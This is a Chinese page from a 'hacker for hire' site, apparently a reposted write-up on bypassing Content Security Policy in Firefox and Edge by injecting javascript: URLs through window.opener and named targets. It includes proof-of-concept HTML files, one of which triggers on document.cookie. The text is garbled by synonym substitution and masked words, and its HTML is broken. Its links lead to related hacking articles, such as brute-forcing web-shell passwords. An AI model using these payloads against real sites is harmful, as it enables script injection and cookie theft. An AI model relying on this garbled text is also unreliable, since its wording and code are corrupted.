Firefox与Edge的dom策略导致的csp bypass问题-黑客接单平台

访客5年前黑客工具1073
在2019年对csp研讨过一阵,发现能够经过其他的dom向存在CSP的dom注入javascript协议,来到达绕过CSP的安全防护。 众所周知,CSP(内容安全战略)有两种 *** 来设置,一种是经过浏览器器呼应头,如下: Content-Security-Policy:sc-src 'self' https://apis.google.com 还有一种便是经过标签进行设置,如下: meta http-equiv="Content-Security-Policy" content="sc-src 'none'"> 我发现这存在一个问题,假如某页面设置了CSP,而同源下其他页面不做CSP防护的话,黑客能够使用opener和target目标来对存在CSP的页面做一个进犯。不了解这两个目标的同学能够参阅p牛的target进犯的介绍以及我在17年投稿的那儿文章。 回到正题,以opener为例,为此咱们创立两个进犯文件,go.html与attack.html html> head> title>CSP Testtitle> meta http-equiv="Content-Security-Policy" content="script-src 'none'"> head> body> a href="./attack.html" target="_Blank">csp_let's_goa> script>alert(location.href);script> body> html> html> head> title> csp gotitle> head> body> script>parent.window.opener.location = "javascript:alert(location.href);"script> body> html> 把两个文件放在一个目录下,你会发现,go.html由于设置了CSP,他的 *** 代码不能答应。可是假如在Firefox中点击了csp_let’s_go, *** 就会履行,那是由于Firefox对该目标没有做防护。 而这在Chrome、Edge、Safiri中是不被答应的 便是这样,经过同源战略答应注入js,绕过了CSP的约束,相同的能够使用target来进行,这将分为两个html文件,go.html与target.html html> head>meta charset="utf-8">head> body> a href="./target.html" target="baidu" id="baidu" onclick="return start()">click mea> script> function start() { setInterval(function() { baidu.href="javascript:alert(location.href);"; baidu.click(); }, 5000); } script> body> html> html> head> title>CSP Testtitle> meta http-equiv="Content-Security-Policy" content="script-src 'none'"> head> body> csp bypass body> html> 相同的,这能够绕过火狐的CSP战略 关于这两个缝隙火狐给予了确认,火狐的回复是: On the one hand this is injecting a javascript URL into the other document, which ought to be blocked. On the other hand it’s hard to get too excited because parent.window.opener.alert(location.href) would be perfectly valid — the script is being run by a context that allows it, manipulating a DOM it’s allowed to by the same-origin policy. Edge Bug导致存在相同的问题 发现这个问题是由于在Edge测验如上代码的时分我发现我的系统资源CPU和内存被Edge占用了很高,所以我打开了调试台,看到了如下状况。 go.html一向向target.html抛出javascript协议,可是target由于CSP战略不断回绝,go.html就会将被回绝的恳求从头恳求一次,在加上时刻函数累加上的恳求,这儿成指数增加,导致了系统资源被耗尽。 在这种状况下对页面进行改写,能够绕过CSP: 当然这种状况下要用户自动去改写页面或许对DOM进行操作,咱们能够模仿改写来看到这个Bug: html> head> title>CSP Testtitle> meta http-equiv="Content-Security-Policy" content="script-src 'none'"> head> body> a href="./attack.html" target="_Blank">csp_let's_goa> script>alert(document.cookie);script> meta http-equiv="Refresh" content="1" /> body> html> html> head> title> csp gotitle> head>[1][2]黑客接单网

相关文章

OWASP TOP 10之怎么防护CSRF进犯

0x00 什么是CSRF CSRF(Cross-site request forgery跨站恳求假造,也被称为“One Click Attack”或许Session Riding,一般缩写为CSR...

网站检测提示的“Flash装备不妥”是什么缝隙?

 360站长渠道中有一个东西是“官网直达”,经过恳求能够使你的网站在360搜索成果中加上“官网”字样的标识,百度也有这样的东西,不过是收费的,所以趁着360还没收费,有爱好的朋友可认为自己的网站恳求一...

秒爆十万字典:奇葩技巧快速枚举“一句话后门”暗码

关于一句话咱们都不生疏,有时会需求爆炸。爆炸的速度和方针的响应速度就有很大的关系了。那假如咱们爆炸的速度能够提高至少1000倍呢? 首要如下图↓ 变量=echo “ok”; 假如这个变量等于暗码的时分...

Trickbot参加长途使用凭据盗取功用

2019年11月,Trend Micro研究人员发现一个含有暗码盗取模块的Trickbot变种,该暗码盗取模块能够从很多的运用中盗取凭据。2019年1月,研究人员发现一个参加了多个功用的Trickbo...

Vegan-可以防护BeEF进犯的Chrome扩展插件

阅读器运用结构(BeEF)是一个易于运用的开源东西,许多安全职业的从业人员和黑客都可以运用它来对网页阅读器进行进犯。现在,已知的可以抵挡BeEF进犯的办法十分的少,所以我决议开发一个Chrome阅读...

PHP弱类型安全问题总结

 前段时间做了南京邮电大学网络攻防渠道上面的标题,写了一个writeup之后,还有必要总结一下。因为做的标题都是web类型的,一切的标题都是运用PHP来写的,所以许多标题并没有调查到传统的如SQL注入...